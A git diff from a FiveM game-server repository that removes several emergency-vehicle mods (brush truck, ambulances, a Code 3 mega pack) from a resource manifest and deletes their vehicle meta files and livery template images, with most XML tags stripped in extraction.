diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/__resource.lua b/resources/[EGRP-CarPacks]/EGRP-Emergency/__resource.lua index ab6663d87..936f45792 100644 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/__resource.lua +++ b/resources/[EGRP-CarPacks]/EGRP-Emergency/__resource.lua @@ -165,21 +165,6 @@ data_file 'CARCOLS_FILE' 'data/prescue/carcols.meta' data_file 'VEHICLE_VARIATION_FILE' 'data/prescue/carvariations.meta' data_file 'VEHICLE_LAYOUTS_FILE' 'data/prescue/dlctext.meta' - --brush - files { - 'data/brush/vehicles.meta', - 'data/brush/carvariations.meta', - 'data/brush/carcols.meta', - 'data/brush/handling.meta', - 'data/brush/vehiclelayouts.meta', -} - -data_file 'HANDLING_FILE' 'data/brush/handling.meta' -data_file 'VEHICLE_METADATA_FILE' 'data/brush/vehicles.meta' -data_file 'CARCOLS_FILE' 'data/brush/carcols.meta' -data_file 'VEHICLE_VARIATION_FILE' 'data/brush/carvariations.meta' -data_file 'VEHICLE_LAYOUTS_FILE' 'data/brush/dlctext.meta' - --enladder files { 'data/enladder/vehicles.meta', @@ -195,51 +180,6 @@ data_file 'CARCOLS_FILE' 'data/enladder/carcols.meta' data_file 'VEHICLE_VARIATION_FILE' 'data/enladder/carvariations.meta' data_file 'VEHICLE_LAYOUTS_FILE' 'data/enladder/dlctext.meta' - --code3megapackrb - files { - 'data/code3megapackrb/vehicles.meta', - 'data/code3megapackrb/carvariations.meta', - 'data/code3megapackrb/carcols.meta', - 'data/code3megapackrb/handling.meta', - 'data/code3megapackrb/vehiclelayouts.meta', -} - -data_file 'HANDLING_FILE' 'data/code3megapackrb/handling.meta' -data_file 'VEHICLE_METADATA_FILE' 'data/code3megapackrb/vehicles.meta' -data_file 'CARCOLS_FILE' 'data/code3megapackrb/carcols.meta' -data_file 'VEHICLE_VARIATION_FILE' 'data/code3megapackrb/carvariations.meta' -data_file 'VEHICLE_LAYOUTS_FILE' 'data/code3megapackrb/dlctext.meta' - - --e450ambo - files { - 'data/e450ambo/vehicles.meta', - 'data/e450ambo/carvariations.meta', - 'data/e450ambo/carcols.meta', - 'data/e450ambo/handling.meta', - 'data/e450ambo/vehiclelayouts.meta', -} - -data_file 'HANDLING_FILE' 'data/e450ambo/handling.meta' -data_file 'VEHICLE_METADATA_FILE' 'data/e450ambo/vehicles.meta' -data_file 'CARCOLS_FILE' 'data/e450ambo/carcols.meta' -data_file 'VEHICLE_VARIATION_FILE' 'data/e450ambo/carvariations.meta' -data_file 'VEHICLE_LAYOUTS_FILE' 'data/e450ambo/dlctext.meta' - - --20ramambo - files { - 'data/20ramambo/vehicles.meta', - 'data/20ramambo/carvariations.meta', - 'data/20ramambo/carcols.meta', - 'data/20ramambo/handling.meta', - 'data/20ramambo/vehiclelayouts.meta', -} - -data_file 'HANDLING_FILE' 'data/20ramambo/handling.meta' -data_file 'VEHICLE_METADATA_FILE' 'data/20ramambo/vehicles.meta' -data_file 'CARCOLS_FILE' 'data/20ramambo/carcols.meta' -data_file 'VEHICLE_VARIATION_FILE' 'data/20ramambo/carvariations.meta' -data_file 'VEHICLE_LAYOUTS_FILE' 'data/20ramambo/dlctext.meta' - --21tahoek9rb files { 'data/21tahoek9rb/vehicles.meta', @@ -255,21 +195,6 @@ data_file 'CARCOLS_FILE' 'data/21tahoek9rb/carcols.meta' data_file 'VEHICLE_VARIATION_FILE' 'data/21tahoek9rb/carvariations.meta' data_file 'VEHICLE_LAYOUTS_FILE' 'data/21tahoek9rb/dlctext.meta' - --f450ambo - files { - 'data/f450ambo/vehicles.meta', - 'data/f450ambo/carvariations.meta', - 'data/f450ambo/carcols.meta', - 'data/f450ambo/handling.meta', - 'data/f450ambo/vehiclelayouts.meta', -} - -data_file 'HANDLING_FILE' 'data/f450ambo/handling.meta' -data_file 'VEHICLE_METADATA_FILE' 'data/f450ambo/vehicles.meta' -data_file 'CARCOLS_FILE' 'data/f450ambo/carcols.meta' -data_file 'VEHICLE_VARIATION_FILE' 'data/f450ambo/carvariations.meta' -data_file 'VEHICLE_LAYOUTS_FILE' 'data/f450ambo/dlctext.meta' - --silvfire files { 'data/silvfire/vehicles.meta', diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/Chevrolet1980VANPD/carcols.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/Chevrolet1980VANPD/carcols.meta deleted file mode 100644 index 5e662bd5c..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/Chevrolet1980VANPD/carcols.meta +++ /dev/null @@ -1,756 +0,0 @@ - - - - - - Chevrolet1980VANPD - - - - - - - VehicleLight_sirenlight - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/Chevrolet1980VANPD/carvariations.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/Chevrolet1980VANPD/carvariations.meta deleted file mode 100644 index 79d1bb79c..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/Chevrolet1980VANPD/carvariations.meta +++ /dev/null @@ -1,67 +0,0 @@ - - - - - - Chevrolet1980VANPD - - - - 0 - 0 - 2 - 156 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Standard White - - - - - - - - - \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/Chevrolet1980VANPD/handling.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/Chevrolet1980VANPD/handling.meta deleted file mode 100644 index fa3fac38c..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/Chevrolet1980VANPD/handling.meta +++ /dev/null @@ -1,77 +0,0 @@ - - - - - - Chevrolet1980VANPD - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 400010 - 0 - 0 - TRUCK - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/Chevrolet1980VANPD/vehicles.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/Chevrolet1980VANPD/vehicles.meta deleted file mode 100644 index 3e9a6ab32..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/Chevrolet1980VANPD/vehicles.meta +++ /dev/null @@ -1,162 +0,0 @@ - - - vehshare - - - - Chevrolet1980VANPD - Chevrolet1980VANPD - Chevrolet1980VANPD - Chevrolet1980VANPD - Chevrolet1980VANPD - null - null - null - null - - null - SANDKING - LAYOUT_BISON - BISON_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_NEAR - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 250.000000 - 30.000000 - 70.000000 - 140.000000 - 500.000000 - 500.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_IS_OFFROAD_VEHICLE FLAG_IS_BULKY FLAG_ATTACH_TRAILER_ON_HIGHWAY FLAG_ATTACH_TRAILER_IN_CITY FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_CAVALCADE - VC_EMERGENCY - VWT_SUV - - boattrailer - trailersmall - - - - - S_M_M_AutoShop_01 - - - - S_M_M_AutoShop_02 - - - - S_M_M_Trucker_01 - - - - - - VEH_EXT_BOOT - - - - - - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - Truck - - - - - RANGER_BISON_FRONT_LEFT - VAN_RUMPO_FRONT_RIGHT - RANGER_BISON_REAR_LEFT - RANGER_BISON_REAR_RIGHT - VAN_BODHI_REAR_LEFT - VAN_BODHI_REAR_RIGHT - - - - - - vehicles_cav_interior - Chevrolet1980VANPD - - - \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/brush/carcols.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/brush/carcols.meta deleted file mode 100644 index f2653c6f8..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/brush/carcols.meta +++ /dev/null @@ -1,756 +0,0 @@ - - - - - - brush - - - - - - - VehicleLight_sirenlight - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/brush/carvariations.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/brush/carvariations.meta deleted file mode 100644 index a07c100e0..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/brush/carvariations.meta +++ /dev/null @@ -1,35 +0,0 @@ - - - - - brush - - - - 156 - 156 - - - - - - - - - - 0_default_modkit - - - - - - Police guv plate - - - - - - - - - \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/brush/handling.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/brush/handling.meta deleted file mode 100644 index 3850ee6a2..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/brush/handling.meta +++ /dev/null @@ -1,104 +0,0 @@ - - - - - Bru - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 440010 - 0 - 0 - AVERAGE - - - - VEHICLE_WEAPON_WATER_CANNON - - - - - 0 - 0 - 0 - - - 3.000000 - 0.000000 - - - -0.400000 - 0.000000 - - - 0.707000 - 0.000000 - - - -0.500000 - 0.000000 - - - 0.000000 - 0.000000 - - - 25.000000 - 0.000000 - - - -0.080000 - 0.000000 - - - - - - - - - - - diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/brush/vehicles.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/brush/vehicles.meta deleted file mode 100644 index 3cc929cfd..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/brush/vehicles.meta +++ /dev/null @@ -1,138 +0,0 @@ - - - vehshare - - - - brush - brush - Bru - brush - brush - null - null - null - null - - null - firetruk - LAYOUT_FIRETRUCK - SHERIFF_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_HIGH - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 1500.000000 - 3000.000000 - 7000.000000 - 14000.000000 - 50000.000000 - 50000.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_HAS_LIVERY FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_HAS_INTERIOR_EXTRAS FLAG_DONT_SPAWN_AS_AMBIENT FLAG_DONT_SPAWN_IN_CARGEN FLAG_NO_RESPRAY FLAG_EXTRAS_REQUIRE - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_GENTAXI - VC_EMERGENCY - VWT_MUSCLE - - - - - S_M_Y_Cop_01 - - - - EXTRA_1 EXTRA_2 EXTRA_7 EXTRA_9 EXTRA_11 - - VEH_EXT_DOOR_DSIDE_F - VEH_EXT_DOOR_PSIDE_F - - - - - EXTRA_1 EXTRA_4 - - REWARD_STAT_WEAPON - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - STD_POLICE_FRONT_LEFT - STD_POLICE_FRONT_RIGHT - STD_POLICE_REAR_LEFT - STD_POLICE_REAR_RIGHT - - - - \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code06tahoe/vehicles.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code06tahoe/vehicles.meta index cd13671e7..68806a6fe 100644 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code06tahoe/vehicles.meta +++ b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code06tahoe/vehicles.meta @@ -15,7 +15,7 @@ null null - bison + lg125mnsrybently LAYOUT_STANDARD SHERIFF_COVER_OFFSET_INFO EXPLOSION_INFO_DEFAULT diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/10_charger_template.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/10_charger_template.png deleted file mode 100644 index 4f095c0e5..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/10_charger_template.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/2012 Caprice.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/2012 Caprice.png deleted file mode 100644 index 5e895a022..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/2012 Caprice.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/2020_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/2020_sign_1.png deleted file mode 100644 index a97cab62e..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/2020_sign_1.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/FPIS.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/FPIS.png deleted file mode 100644 index a7039b4fc..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/FPIS.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/TEMPLATE.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/TEMPLATE.png deleted file mode 100644 index 47c324fb0..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/TEMPLATE.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/Template_4k.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/Template_4k.png deleted file mode 100644 index 3900d79f6..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/Template_4k.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/WINDOW TEMPLATE.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/WINDOW TEMPLATE.png deleted file mode 100644 index 2574631a4..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/WINDOW TEMPLATE.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/Window_Template.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/Window_Template.png deleted file mode 100644 index 93f634fa6..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/Window_Template.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/bmw_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/bmw_sign_1.png deleted file mode 100644 index 76656ad75..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/bmw_sign_1.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/boat_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/boat_sign_1.png deleted file mode 100644 index c6882d579..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/boat_sign_1.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/chgr_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/chgr_sign_1.png deleted file mode 100644 index e96def07e..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/chgr_sign_1.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/cvpi_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/cvpi_sign_1.png deleted file mode 100644 index 0c533abb8..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/cvpi_sign_1.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/f-150_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/f-150_sign_1.png deleted file mode 100644 index c2dc67a06..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/f-150_sign_1.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/f250_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/f250_sign_1.png deleted file mode 100644 index 9ccbd8a65..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/f250_sign_1.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/harley_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/harley_sign_1.png deleted file mode 100644 index 2a1574434..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/harley_sign_1.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/impala_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/impala_sign_1.png deleted file mode 100644 index 163c14804..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/impala_sign_1.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/impala_windows.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/impala_windows.png deleted file mode 100644 index 717b42126..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/impala_windows.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/livery_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/livery_sign_1.png deleted file mode 100644 index 9aef780f3..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/livery_sign_1.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/maro_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/maro_sign_1.png deleted file mode 100644 index 8a864cd91..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/maro_sign_1.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/pursuit_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/pursuit_sign_1.png deleted file mode 100644 index 351e12dca..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/pursuit_sign_1.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/ranger_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/ranger_sign_1.png deleted file mode 100644 index a5859dc20..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/ranger_sign_1.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/silver_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/silver_sign_1.png deleted file mode 100644 index d37c43c53..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/silver_sign_1.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/stallion_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/stallion_sign_1.png deleted file mode 100644 index 33a72bf17..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/stallion_sign_1.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/tahoe_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/tahoe_sign_1.png deleted file mode 100644 index ac46ea00a..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/tahoe_sign_1.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/tau_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/tau_sign_1.png deleted file mode 100644 index 57e046d67..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/tau_sign_1.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/ther_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/ther_sign_1.png deleted file mode 100644 index 0bbbb092d..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/ther_sign_1.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/windows.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/windows.png deleted file mode 100644 index 0a46940cb..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/windows.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/carcols.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/carcols.meta deleted file mode 100644 index 75239b0e4..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/carcols.meta +++ /dev/null @@ -1,20824 +0,0 @@ - - - - - - - - code318charg - - - - - - - VehicleLight_sirenlight - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - code3fpis - - - - - - - VehicleLight_sirenlight - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - code3cvpi - - - - - - - VehicleLight_sirenlight - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 